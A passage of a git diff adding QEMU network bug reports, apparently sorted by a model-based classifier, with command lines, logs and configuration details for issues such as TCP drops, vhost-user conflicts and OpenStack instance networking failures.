[14335]: vcpu0, guest rIP: 0xffffffff81066784 disabled perfctr wrmsr: 0xc2 data 0xffff +[ 2024.703072] device tap0 left promiscuous mode +[ 2145.374239] device tap0 entered promiscuous mode +[ 2151.409948] kvm [14541]: vcpu0, guest rIP: 0xffffffff81066784 disabled perfctr wrmsr: 0xc2 data 0xffff +[ 2178.281446] device tap0 left promiscuous mode \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1656927 b/results/classifier/gemma3:12b/network/1656927 new file mode 100644 index 000000000..f9a9717a1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1656927 @@ -0,0 +1,18 @@ + +Network (TCP) access regression + +Starting a VM with + +/usr/bin/qemu-system-x86_64 -machine pc-i440fx-1.7,accel=kvm -usb -usbdevice tablet -usbdevice keyboard -enable-kvm -cpu core2duo -smp 2 -drive file=winp +ro.qcow,index=0,media=disk,format=qcow2 -m 4096 -vga vmware -vnc :3 -k en-us -device rtl8139,netdev=nic1 -netdev user,id=nic1,smb=/data/vps/files/,hostfw +d=tcp::10053-:10053,hostfwd=tcp::3387-:3389 -rtc base=utc,clock=host -daemonize + +in 2.5.1, all works fine + +in any version after 2.5.1.1, the network terminate TCP connections after a certain period . + +To reproduce, starts an app that use always connected TCP sockets (I am using Metatrader 4), let it run a an hour, the app does not realize the TCP is out of order but the TCP connection is closed by QEMU + +in 2.5.1.x, Metatrader works perfectly + +Thank you for your help \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1659267 b/results/classifier/gemma3:12b/network/1659267 new file mode 100644 index 000000000..579f173c0 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1659267 @@ -0,0 +1,10 @@ + +It's not possible to start a VM with a network cable unplugged + +There should be a command line (sub)option to unplug a network cable. +While from the monitor interface I can issue: + +set_link virtio-net-pci.0 off + +There's no way to fire a VM from command line with that cable already unplugged. +As an example, virtualbox can do it. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/166 b/results/classifier/gemma3:12b/network/166 new file mode 100644 index 000000000..a01a5b258 --- /dev/null +++ b/results/classifier/gemma3:12b/network/166 @@ -0,0 +1,2 @@ + +qemu-bridge-helper failure but qemu not exit diff --git a/results/classifier/gemma3:12b/network/1663079 b/results/classifier/gemma3:12b/network/1663079 new file mode 100644 index 000000000..84a5fc291 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1663079 @@ -0,0 +1,23 @@ + +socket network not working + +The socket network type is no longer working in 2.8.0. + +When trying to establish a network between 2 qemu instances: + +The listening host: +qemu-system-x86_64 -netdev socket,id=in0,listen=127.0.0.1:9999 -device virtio-net-pci,netdev=in0 + +works fine, but for the second one: + +qemu-system-x86_64 -netdev socket,id=in0,connect=127.0.0.1:9999 -device virtio-net-pci,netdev=in0 + +It fails with: + +qemu-system-x86_64: -device virtio-net-pci,netdev=in0: Property 'virtio-net-device.netdev' can't find value 'in0' + +netstat shows a new connection to port 9999 in time_wait state every time. + +host: kernel 4.4.38, 64bits. + +It was working fine with previous version. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1664 b/results/classifier/gemma3:12b/network/1664 new file mode 100644 index 000000000..878ed71a8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1664 @@ -0,0 +1,2 @@ + +mingw64 cross compile: libslirp from subproject fails to link, undefined reference to WinMain diff --git a/results/classifier/gemma3:12b/network/1675332 b/results/classifier/gemma3:12b/network/1675332 new file mode 100644 index 000000000..5179b4cc8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1675332 @@ -0,0 +1,4 @@ + +qemu-system crashes when use sheepdog driver + +Already solved. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1675333 b/results/classifier/gemma3:12b/network/1675333 new file mode 100644 index 000000000..5179b4cc8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1675333 @@ -0,0 +1,4 @@ + +qemu-system crashes when use sheepdog driver + +Already solved. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1675458 b/results/classifier/gemma3:12b/network/1675458 new file mode 100644 index 000000000..207828819 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1675458 @@ -0,0 +1,77 @@ + +attach-interface - unexpected action + +Hello, + +Not sure where to report this, or if it is a bug. However, I feel like the behaviour is not what would/should be expected. + +---------------------------------------------------------------------------------------------------------- + +Environment: +KVM Version: root@hostname:~# virsh version + Compiled against library: libvirt 1.2.9 + Using library: libvirt 1.2.9 + Using API: QEMU 1.2.9 + Running hypervisor: QEMU 2.1.2 +uname -a: Linux hostname 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u2 (2017-03-07) x86_64 GNU/Linux +CPU: Intel(R) Xeon(R) CPU E3-1240 V2 @ 3.40GHz +Host Debian Version: 8.7 (Jessie) +Guest Debian Version: 8.7 (Jessie) + +---------------------------------------------------------------------------------------------------------- + +Issue: +When adding an interface to a live VM, the position of interfaces within the VM may change post reboot. +It appears a new interface takes up the first available “pci slot”. If you have removed an interface in the past, this will be the one that is taken up. + +---------------------------------------------------------------------------------------------------------- + +Example: + +If the VM Has the following interfaces layout: + +eth0 HWaddr 00:00:00:00:00:00 +eth1 HWaddr 11:11:11:11:11:11 +eth2 HWaddr 22:22:22:22:22:22 +eth3 HWaddr 33:33:33:33:33:33 + +Now I delete the interface with MAC address 11:11:11:11:11:11, you now have this: + +eth0 HWaddr 00:00:00:00:00:00 +eth1 HWaddr 22:22:22:22:22:22 +eth2 HWaddr 33:33:33:33:33:33 + +And then you add a new interface with MAC address 44:44:44:44:44:44, using virsh: + +virsh attach-interface --domain guest --type bridge --source br3 --mac 44:44:44:44:44:44 --model e1000 --target vmeth3 --live --persistent + +It will now look like this: + +eth0 HWaddr 00:00:00:00:00:00 +eth1 HWaddr 22:22:22:22:22:22 +eth2 HWaddr 33:33:33:33:33:33 +eth3 HWaddr 44:44:44:44:44:44 + +However, after a reboot, it will look like this: + +eth0 HWaddr 00:00:00:00:00:00 +eth1 HWaddr 44:44:44:44:44:44 +eth2 HWaddr 22:22:22:22:22:22 +eth3 HWaddr 33:33:33:33:33:33 + +This can be a problem, as /etc/network/interfaces file, etc., will be pointing to the wrong interfaces. I.E. originally eth1 was connected to br1 (for example), after reboot eth1 is now connected to br3. + +To resolve this issue, I need to edit the .xml file in the KVM machine, and edit the following lines: + + <address type='pci' domain='0x0000' bus='0x00' slot='0x0c' function='0x0'/> + +Changing these into the order I want them to be loaded in, i.e. eth0, eth1, eth2…. (I know 4 are taken already and not usable by ethernet interfaces.) + +---------------------------------------------------------------------------------------------------------- + + +Thanks in advance. + +Kind regards, + +Aaron Doyle \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1681 b/results/classifier/gemma3:12b/network/1681 new file mode 100644 index 000000000..ac262ced6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1681 @@ -0,0 +1,50 @@ + +watchdog: BUG: soft lockup - CPU#N stuck for XXs! +Description of problem: +Repeatedly seeing Qemu VMs locking up with guest Linux kernel reporting: +"watchdog: BUG: soft lockup - CPU#<N> stuck for <XX>s!" +e.g.: "watchdog: BUG: soft lockup - CPU#5 stuck for 26s! [swapper/5:0]" + +When the guest VM is in this condition, the host Linux OS reports that the Qemu process is typically running steadily at ~250% CPU. +Steps to reproduce: +1. Windows 10 on an x64 PC (right on the metal). +2. VMWare Workstation running Fedora Workstation 38 x64 guest, in turn acting as host with nested virtualization. +3. Qemu 7.2.1 running on Fedora host with Fedora Server 38 x64 guest. +4. Invoke Qemu using F38 QCow2 image: `$ qemu-system-x86_64 -machine pc -cpu max -smp 8 -accel kvm -accel hvf -accel tcg -m 3G -nographic -hda Client.qcow2 -nic socket,model=virtio-net-pci,mcast=239.1.2.3:4567,mac=4a:e0:72:85:c0:fb -nic user,model=virtio-net-pci,mac=4a:e0:d8:cd:a5:e6,hostfwd=tcp:127.0.0.1:2288-:22` +5. Not necessarily right away, but pretty consistently if left running overnight, guest Linux kernel repeatedly reports CPU(s) stuck, guest VM is unresponsive +6. Host Linux `top` reports Qemu process using ~250% CPU. +Additional information: +Console log attached, small sample here: + +``` +[ 181.101152] watchdog: BUG: soft lockup - CPU#5 stuck for 26s! [swapper/5:0] +[ 181.145578] Modules linked in: nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nfg +[ 181.145578] CPU: 5 PID: 0 Comm: swapper/5 Not tainted 6.2.9-300.fc38.x86_64 #1 +[ 181.145578] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-1.fc38 04/01/2014 +[ 181.145578] RIP: 0010:netif_receive_skb_list_internal+0x58/0x300 +[ 181.145578] Code: 4c 89 74 24 08 49 89 ec 4c 89 74 24 10 4c 8b 6d 00 48 39 ef 75 14 eb 7c 49 8b 8 +[ 181.145578] RSP: 0018:ff5a086d401b8da8 EFLAGS: 00000202 +[ 181.145578] RAX: 0000000000000000 RBX: ff2d02b1b404c910 RCX: 0000000000000100 +[ 181.145578] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ff2d02b1b404c910 +[ 181.145578] RBP: ff2d02b18998a600 R08: 0000000000000001 R09: ff2d02b188bd5d00 +[ 181.145578] R10: 000000000000000c R11: ffa7ad3980175000 R12: ff2d02b18998a600 +[ 181.145578] R13: ff2d02b1b404c910 R14: ff5a086d401b8db0 R15: ff2d02b1882d19c0 +[ 181.145578] FS: 0000000000000000(0000) GS:ff2d02b23cb40000(0000) knlGS:0000000000000000 +[ 181.145578] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 181.145578] CR2: 00007f232000f0d8 CR3: 0000000027010000 CR4: 0000000000751ee0 +[ 181.145578] PKRU: 55555554 +[ 181.145578] Call Trace: +[ 181.145578] <IRQ> +[ 181.145578] napi_complete_done+0x6e/0x1a0 +[ 181.145578] virtnet_poll+0x420/0x550 [virtio_net] +[ 181.145578] __napi_poll+0x2b/0x1b0 +[ 181.145578] net_rx_action+0x2a5/0x360 +[ 181.145578] ? vp_vring_interrupt+0x73/0x90 +[ 181.145578] __do_softirq+0xfd/0x31a +[ 181.145578] __irq_exit_rcu+0xd7/0x140 +[ 181.145578] common_interrupt+0xb9/0xd0 +[ 181.145578] </IRQ> +[ 181.145578] <TASK> +[ 181.145578] asm_common_interrupt+0x22/0x40 +[ 181.145578] RIP: 0010:native_safe_halt+0xb/0x10 +``` diff --git a/results/classifier/gemma3:12b/network/1682681 b/results/classifier/gemma3:12b/network/1682681 new file mode 100644 index 000000000..38695c877 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1682681 @@ -0,0 +1,12 @@ + +qemu 2.5 network model rtl8139 collisions Ubuntu 16.04.2 LTS + +When I use NIC model rtl8139, I have a lot collisions and very low transfer. +I tested that with brctl and Open vSwitch, because I thought that was a vSwitch issue. +When I change NIC model to virtio all works as expect. + +Host: Ubuntu 16.04.2 LTS +Guest: Ubuntu 14.04.5 LTS - affected +Guest: Ubuntu 16.04.2 LTS - not affected + +QEMU emulator version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.10) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1683084 b/results/classifier/gemma3:12b/network/1683084 new file mode 100644 index 000000000..fc479d0f9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1683084 @@ -0,0 +1,12 @@ + +DNS server not working in QEMU usermode networking + +Nslookup is returning "unknown host". +I try to ping 10.0.2.3 and it fails. Pinging 10.0.2.2 and 10.0.2.15 works correctly. +Downloading files via wget using a static IP works well. + +Results of qemu monitor command "info network" included as an attachment. + +This bug was reported as a question on stack overflow: http://stackoverflow.com/questions/43308310/dns-server-not-working-in-qemu-usermode-networking. + +This bug exists on 2.8.0 and 2.9-rc3. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1687214 b/results/classifier/gemma3:12b/network/1687214 new file mode 100644 index 000000000..f40de55ef --- /dev/null +++ b/results/classifier/gemma3:12b/network/1687214 @@ -0,0 +1,16 @@ + +Rapid tremendous memory hog when using -net nic,vlan=0 -net user,vlan=0 + +A rapid tremendous memory hog is occuring when I use -net nic,vlan=0 -net user,vlan=0. Tested with QEMU 2.8.0 & 2.9.0 in Gentoo. All available memory (8GB) + swap (over 20GB) is exhausted very rapidly. + +This bug is possibly related to +https://bugs.launchpad.net/qemu/+bug/1310714 +and maybe to +https://bugs.launchpad.net/qemu/+bug/1288620 + +The bug IS present wheh I use -net nic,vlan=0 -net user,vlan=0 (tested with no model and model=e1000 and model=virtio, with all these the bug is present) + +The bug is NOT present with I use this: +-netdev type=user,id=mynet0 -device virtio-net-pci,netdev=mynet0 + +I tested this bug only using windows guests (Windows XP & Windows 8). \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1687599 b/results/classifier/gemma3:12b/network/1687599 new file mode 100644 index 000000000..72ea8dd43 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1687599 @@ -0,0 +1,24 @@ + +Bind 2nd VM to same OVS vhost-user port caused 1st vm traffic broken + +Binding 2nd VM to same OVS vhost-user port caused 1st vm traffic broken. If it illegal to share same vhost port, how about the first VM open the path exclusively? + + +#OVS side to create the vhost-user port: +ovs-vsctl add-br br0 -- set bridge br0 datapath_type=netdev +ovs-vsctl add-port br0 phy0 -- set Interface phy0 type=dpdk options:dpdk-devargs=0000:0a:00.0 +ovs-vsctl add-port br0 dpdkvhostuser0 -- set Interface dpdkvhostuser0 type=dpdkvhostuser + +#QEMU VM1 +qemu-system-x86_64 -name vm1 -cpu host -enable-kvm -m 3072 -drive file=/opt/ubuntu1.qcow2 \ + -numa node,memdev=mem -mem-prealloc -smp sockets=1,cores=2 \ + -object memory-backend-file,id=mem,size=3072m,mem-path=/dev/hugepages,share=on \ + -chardev socket,id=char0,path=/usr/local/var/run/openvswitch/dpdkvhostuser0 \ -netdev type=vhost-user,id=mynet1,chardev=char0,vhostforce \ + -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mrg_rxbuf=off + +#VM2 +qemu-system-x86_64 -name vm2 -cpu host -enable-kvm -m 3072 -drive file=/opt/ubuntu2.qcow2 \ + -numa node,memdev=mem -mem-prealloc -smp sockets=1,cores=2 \ + -object memory-backend-file,id=mem,size=3072m,mem-path=/dev/hugepages,share=on \ + -chardev socket,id=char0,path=/usr/local/var/run/openvswitch/dpdkvhostuser0 \ -netdev type=vhost-user,id=mynet1,chardev=char0,vhostforce \ + -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mrg_rxbuf=off \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1696746 b/results/classifier/gemma3:12b/network/1696746 new file mode 100644 index 000000000..e907729dc --- /dev/null +++ b/results/classifier/gemma3:12b/network/1696746 @@ -0,0 +1,16 @@ + +netdev user,restrict=on prevents forwarded ports from being accessed from other systems + +I've got a guest only network and I'm wanting to access SSH on one of the guests externally. +I'm using -netdev user,id=usernet0,hostfwd=tcp::2222-:22,restrict=yes -device virtio-net-pci,netdev=usernet0 +to forward 2222 to 22 in the guest. + +The docs state: +restrict=on|off + + If this option is enabled, the guest will be isolated, i.e. it will not be able to contact the host and no guest IP packets will be routed over the host to the outside. This option does not affect any explicitly set forwarding rules. + + +However, with restrict=on, the forwarded port is only accessible from the host. Other systems receive no data. + +This was tested with qemu 2.8. Changelog for 2.9 doesn't mention any (relevant) user networking changes, so that should also fail. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1702798 b/results/classifier/gemma3:12b/network/1702798 new file mode 100644 index 000000000..7ef57ac99 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1702798 @@ -0,0 +1,23 @@ + +colo: secondary vm can't receive any packet + +Following document 'COLO-FT.txt', I test colo feature on my hosts. It seems goes well,but I found the secondary vm can't receive any packets. I attached the process and find out the reason as follow, the filter-redirector(red0) didn't flush it's queue because the secondary vm in migrate state(RUN_STATE_INMIGRATE) : +int qemu_can_send_packet(NetClientState *sender) +{ + int vm_running = runstate_is_running(): + + if (!vm_running) { // it will return false on the secondary vm + return 0; + } + ------ +} + +How does it produce outbound packets in the secondary vm as it in migrate state? +static void *qemu_kvm_cpu_thread_fn(void *arg) +{ + ------ + do { + if (cpu_can_run(cpu)) { // it will return false on the secondary vm + r = kvm_cpu_exec(cpu); + ------ +} \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1708617 b/results/classifier/gemma3:12b/network/1708617 new file mode 100644 index 000000000..8861ceb2f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1708617 @@ -0,0 +1,30 @@ + +qemu2.9 meet a question using reconnect about ovs+dpdk + +env: +qemu-2.9 +dpdk-16.11 +ovs-2.6.1 +host os:Linux compute 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux +guest os is same with host + +1. ovs service is normal +2. start 2 qemu vm, using vhostuser port as server +taskset 0x3f qemu-system-x86_64 -cpu host -smp 2,cores=2 -drive file=$QCOW2_IMAGE -m 4096M --enable-kvm -name $VM_NAME -nographic -object memory-backend-file,id=mem,size=$GUEST_MEM,mem-path=/dev/hugepages,share=on -numa node,memdev=mem -mem-prealloc -chardev socket,id=char1,path=$VHOST_SOCK_DIR/dpdkvhostuser0,server -netdev type=vhost-user,id=mynet1,chardev=char1,vhostforce,queues=2 -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mq=on,vectors=6 -nographic -vnc :0 +qemu-system-x86_64: -chardev socket,id=char1,path=/usr/local/var/run/openvswitch/dpdkvhostuser0,server: QEMU waiting for connection on: disconnected:unix:/usr/local/var/run/openvswitch/dpdkvhostuser0,server + +taskset 0x3f qemu-system-x86_64 -cpu host -smp 2,cores=2 -drive file=$QCOW2_IMAGE -m 4096M --enable-kvm -name $VM_NAME -nographic -object memory-backend-file,id=mem,size=$GUEST_MEM,mem-path=/dev/hugepages,share=on -numa node,memdev=mem -mem-prealloc -chardev socket,id=char1,path=$VHOST_SOCK_DIR/dpdkvhostuser0,server -netdev type=vhost-user,id=mynet1,chardev=char1,vhostforce,queues=2 -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mq=on,vectors=6 -nographic -vnc :0 +qemu-system-x86_64: -chardev socket,id=char1,path=/usr/local/var/run/openvswitch/dpdkvhostuser0,server: QEMU waiting for connection on: disconnected:unix:/usr/local/var/run/openvswitch/dpdkvhostuser1,server + +3. add br and vhostuser port as client +ovs-vsctl add-br br1 -- set bridge br1 datapath_type=netdev +ovs-vsctl add-port br1 dpdkvhostuser0 -- set Interface dpdkvhostuser0 type=dpdkvhostuserclient options:vhost-server-path="/usr/local/var/run/openvswitch/dpdkvhostuser0" +ovs-vsctl add-port br1 dpdkvhostuser1 -- set Interface dpdkvhostuser1 type=dpdkvhostuserclient options:vhost-server-path="/usr/local/var/run/openvswitch/dpdkvhostuser1" + +4. ping between 2 vm is ok +5. restart ovs process + systemctl restart openvswitch + +6. there is a question ping between 2 vm error + +7. change qemu from 2.9 to 2.7, everything become ok \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1719196 b/results/classifier/gemma3:12b/network/1719196 new file mode 100644 index 000000000..7b333b845 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1719196 @@ -0,0 +1,146 @@ + +[arm64 ocata] newly created instances are unable to raise network interfaces + +arm64 Ocata , + +I'm testing to see I can get Ocata running on arm64 and using the openstack-base bundle to deploy it. I have added the bundle to the log file attached to this bug. + +When I create a new instance via nova, the VM comes up and runs, however fails to raise its eth0 interface. This occurs on both internal and external networks. + +ubuntu@openstackaw:~$ nova list ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +| ID | Name | Status | Task State | Power State | Networks | ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +| dcaf6d51-f81e-4cbd-ac77-0c5d21bde57c | sfeole1 | ACTIVE | - | Running | internal=10.5.5.3 | +| aa0b8aee-5650-41f4-8fa0-aeccdc763425 | sfeole2 | ACTIVE | - | Running | internal=10.5.5.13 | ++--------------------------------------+---------+--------+------------+-------------+--------------------+ +ubuntu@openstackaw:~$ nova show aa0b8aee-5650-41f4-8fa0-aeccdc763425 ++--------------------------------------+----------------------------------------------------------+ +| Property | Value | ++--------------------------------------+----------------------------------------------------------+ +| OS-DCF:diskConfig | MANUAL | +| OS-EXT-AZ:availability_zone | nova | +| OS-EXT-SRV-ATTR:host | awrep3 | +| OS-EXT-SRV-ATTR:hypervisor_hostname | awrep3.maas | +| OS-EXT-SRV-ATTR:instance_name | instance-00000003 | +| OS-EXT-STS:power_state | 1 | +| OS-EXT-STS:task_state | - | +| OS-EXT-STS:vm_state | active | +| OS-SRV-USG:launched_at | 2017-09-24T14:23:08.000000 | +| OS-SRV-USG:terminated_at | - | +| accessIPv4 | | +| accessIPv6 | | +| config_drive | | +| created | 2017-09-24T14:22:41Z | +| flavor | m1.small (717660ae-0440-4b19-a762-ffeb32a0575c) | +| hostId | 5612a00671c47255d2ebd6737a64ec9bd3a5866d1233ecf3e988b025 | +| id | aa0b8aee-5650-41f4-8fa0-aeccdc763425 | +| image | zestynosplash (e88fd1bd-f040-44d8-9e7c-c462ccf4b945) | +| internal network | 10.5.5.13 | +| key_name | mykey | +| metadata | {} | +| name | sfeole2 | +| os-extended-volumes:volumes_attached | [] | +| progress | 0 | +| security_groups | default | +| status | ACTIVE | +| tenant_id | 9f7a21c1ad264fec81abc09f3960ad1d | +| updated | 2017-09-24T14:23:09Z | +| user_id | e6bb6f5178a248c1b5ae66ed388f9040 | ++--------------------------------------+----------------------------------------------------------+ + + + +As seen above the instances boot an run. Full Console output is attached to this bug. + + +[ OK ] Started Initial cloud-init job (pre-networking). +[ OK ] Reached target Network (Pre). +[ OK ] Started AppArmor initialization. + Starting Raise network interfaces... +[FAILED] Failed to start Raise network interfaces. +See 'systemctl status networking.service' for details. + Starting Initial cloud-init job (metadata service crawler)... +[ OK ] Reached target Network. +[ 315.051902] cloud-init[881]: Cloud-init v. 0.7.9 running 'init' at Fri, 22 Sep 2017 18:29:15 +0000. Up 314.70 seconds. +[ 315.057291] cloud-init[881]: ci-info: +++++++++++++++++++++++++++Net device info+++++++++++++++++++++++++++ +[ 315.060338] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.063308] cloud-init[881]: ci-info: | Device | Up | Address | Mask | Scope | Hw-Address | +[ 315.066304] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.069303] cloud-init[881]: ci-info: | eth0: | True | . | . | . | fa:16:3e:39:4c:48 | +[ 315.072308] cloud-init[881]: ci-info: | eth0: | True | . | . | d | fa:16:3e:39:4c:48 | +[ 315.075260] cloud-init[881]: ci-info: | lo: | True | 127.0.0.1 | 255.0.0.0 | . | . | +[ 315.078258] cloud-init[881]: ci-info: | lo: | True | . | . | d | . | +[ 315.081249] cloud-init[881]: ci-info: +--------+------+-----------+-----------+-------+-------------------+ +[ 315.084240] cloud-init[881]: 2017-09-22 18:29:15,393 - url_helper.py[WARNING]: Calling 'http://169.254.169.254/2009-04-04/meta-data/instance-id' failed [0/120s]: request error [HTTPConnectionPool(host='169.254.169.254', port=80): Max retries exceeded with url: /2009-04-04/meta-data/instance-id (Caused by NewConnectionError('<requests.packages.urllib3.connection.HTTPConnection object at 0xffffb10794e0>: Failed to establish a new connection: [Errno 101] Network is unreachable',))] + + + + +---------------- + + + +I have checked all services in neutron and made sure that they are running and restarted in neutron-gateway + + + [ + ] neutron-dhcp-agent + [ + ] neutron-l3-agent + [ + ] neutron-lbaasv2-agent + [ + ] neutron-metadata-agent + [ + ] neutron-metering-agent + [ + ] neutron-openvswitch-agent + [ + ] neutron-ovs-cleanup + +and have also restarted and checked the nova-compute logs for their neutron counterparts. + + + [ + ] neutron-openvswitch-agent + [ + ] neutron-ovs-cleanup + + + + There are some warnings/errors in the neutron-gateway logs which I have attached the full tarball in a separate attachment to this bug: + +2017-09-24 14:39:33.152 10322 INFO ryu.base.app_manager [-] instantiating app ryu.controller.ofp_handler of OFPHandler +2017-09-24 14:39:33.153 10322 INFO ryu.base.app_manager [-] instantiating app ryu.app.ofctl.service of OfctlService +2017-09-24 14:39:39.577 10322 ERROR neutron.agent.ovsdb.impl_vsctl [req-2f084ae8-13dc-47dc-b351-24c8f3c57067 - - - - -] Unable to execute ['ovs-vsctl', '--timeout=10', '--oneline', '--format=json', '--', '--id=@manager', 'create', 'Manager', 'target="ptcp:6640:127.0.0.1"', '--', 'add', 'Open_vSwitch', '.', 'manager_options', '@manager']. Exception: Exit code: 1; Stdin: ; Stdout: ; Stderr: ovs-vsctl: transaction error: {"details":"Transaction causes multiple rows in \"Manager\" table to have identical values (\"ptcp:6640:127.0.0.1\") for index on column \"target\". First row, with UUID e02a5f7f-bfd2-4a1d-ae3c-0321db4bd3fb, existed in the database before this transaction and was not modified by the transaction. Second row, with UUID 6e9aba3a-471a-4976-bffd-b7131bbe5377, was inserted by this transaction.","error":"constraint violation"} + + + +These warnings/errors also occur on the nova-compute hosts in /var/log/neutron/ + + + + +2017-09-22 18:54:52.130 387556 INFO ryu.base.app_manager [-] instantiating app ryu.app.ofctl.service of OfctlService +2017-09-22 18:54:56.124 387556 ERROR neutron.agent.ovsdb.impl_vsctl [req-e291c2f9-a123-422c-be7c-fadaeb5decfa - - - - -] Unable to execute ['ovs-vsctl', '--timeout=10', '--oneline', '--format=json', '--', '--id=@manager', 'create', 'Manager', 'target="ptcp:6640:127.0.0.1"', '--', 'add', 'Open_vSwitch', '.', 'manager_options', '@manager']. Exception: Exit code: 1; Stdin: ; Stdout: ; Stderr: ovs-vsctl: transaction error: {"details":"Transaction causes multiple rows in \"Manager\" table to have identical values (\"ptcp:6640:127.0.0.1\") for index on column \"target\". First row, with UUID 9f27ddee-9881-4cbc-9777-2f42fee735e9, was inserted by this transaction. Second row, with UUID ccf0e097-09d5-449c-b353-6b69781dc3f7, existed in the database before this transaction and was not modified by the transaction.","error":"constraint violation"} + + + +I'm not sure if the above error could be pertaining to the failure, I have also attached those logs to this bug as well... + + +. +(neutron) agent-list ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ +| id | agent_type | host | availability_zone | alive | admin_state_up | binary | ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ +| 0cca03fb-abb2-4704-8b0b-e7d3e117d882 | DHCP agent | awrep1 | nova | :-) | True | neutron-dhcp-agent | +| 14a5fd52-fbc3-450c-96d5-4e9a65776dad | L3 agent | awrep1 | nova | :-) | True | neutron-l3-agent | +| 2ebc7238-5e61-41f8-bc60-df14ec6b226b | Loadbalancerv2 agent | awrep1 | | :-) | True | neutron-lbaasv2-agent | +| 4f6275be-fc8b-4994-bdac-13a4b76f6a83 | Metering agent | awrep1 | | :-) | True | neutron-metering-agent | +| 86ecc6b0-c100-4298-b861-40c17516cc08 | Open vSwitch agent | awrep1 | | :-) | True | neutron-openvswitch-agent | +| 947ad3ab-650b-4b96-a520-00441ecb33e7 | Open vSwitch agent | awrep4 | | :-) | True | neutron-openvswitch-agent | +| 996b0692-7d19-4641-bec3-e057f4a856f6 | Open vSwitch agent | awrep3 | | :-) | True | neutron-openvswitch-agent | +| ab6b1065-0b98-4cf3-9f46-6bddba0c5e75 | Metadata agent | awrep1 | | :-) | True | neutron-metadata-agent | +| fe24f622-b77c-4eed-ae22-18e4195cf763 | Open vSwitch agent | awrep2 | | :-) | True | neutron-openvswitch-agent | ++--------------------------------------+----------------------+--------+-------------------+-------+----------------+---------------------------+ + + +Should neutron-openvswitch be assigned to the 'nova' availability zone? + +I have also attached the ovs-vsctl show from a nova-compute host and the neutron-gateway host to ensure that the open v switch routes are correct. + + +I can supply more logs if required. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1721952 b/results/classifier/gemma3:12b/network/1721952 new file mode 100644 index 000000000..7ad4d0783 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1721952 @@ -0,0 +1,17 @@ + +Network issue above 2.5.1.1 + +Hi, +WHen running a QEMU guest (Windows7) on a linux x86-64 server, the network stops working after some time for any version above 2.5.1.1 + +In 2.5.1.1, all is fine (no issue with network) +Any version ablve (trying 2.10.1 now), the application in windows stops accessing the internet after a while + +THis is my starting line: +/usr/bin/qemu-system-x86_64 -machine pc-i440fx-1.7,accel=kvm -usb -usbdevice tablet -usbdevice keyboard -enable-kvm -cpu core2duo -smp 2 -drive file=winpro.qcow,index=0,media=disk,format=qco +w2 -m 4096 -vga vmware -vnc :3 -k en-us -device e1000,netdev=nic1 -netdev user,id=nic1,smb=/data/vps/files/,hostfwd=tcp::10053-:10053,hostfwd=tcp::3387-:3389 -rtc base=utc,clock=host -daemon +ize + +Thisis my configure line: +./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-kvm --disable-gtk --disable-xen --disable-user --enable-vnc-sasl --disable-libusb --disable-debug-info --disable-spi +ce --enable-lzo --enable-pie --disable-werror --enable-linux-aio --enable-vhost-net --disable-tcmalloc --enable-vde --enable-nettle --disable-smartcard --enable-curl \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1724477 b/results/classifier/gemma3:12b/network/1724477 new file mode 100644 index 000000000..eb0a8b77c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1724477 @@ -0,0 +1,20 @@ + +Build-in websocket broken since v2.9.0-rc0 + +Since upgrading to 2.9.0, the qemu's build-in websocket was no longer available. + +Host: Ubuntu 16.04 LTS +Command-line: /bin/qemu-system-x86_64 -enable-kvm -vnc 0.0.0.0:8,websocket + +I have tested the following qemu versions: + +master Fail +2.10.1 Fail +2.9.1 Fail +2.9.0 Fail +2.9.0-rc3 Fail +2.9.0-rc0 Fail + +2.8.1.1 Pass +2.7.1 Pass +2.6.2 Pass \ No newline at end of file diff --git 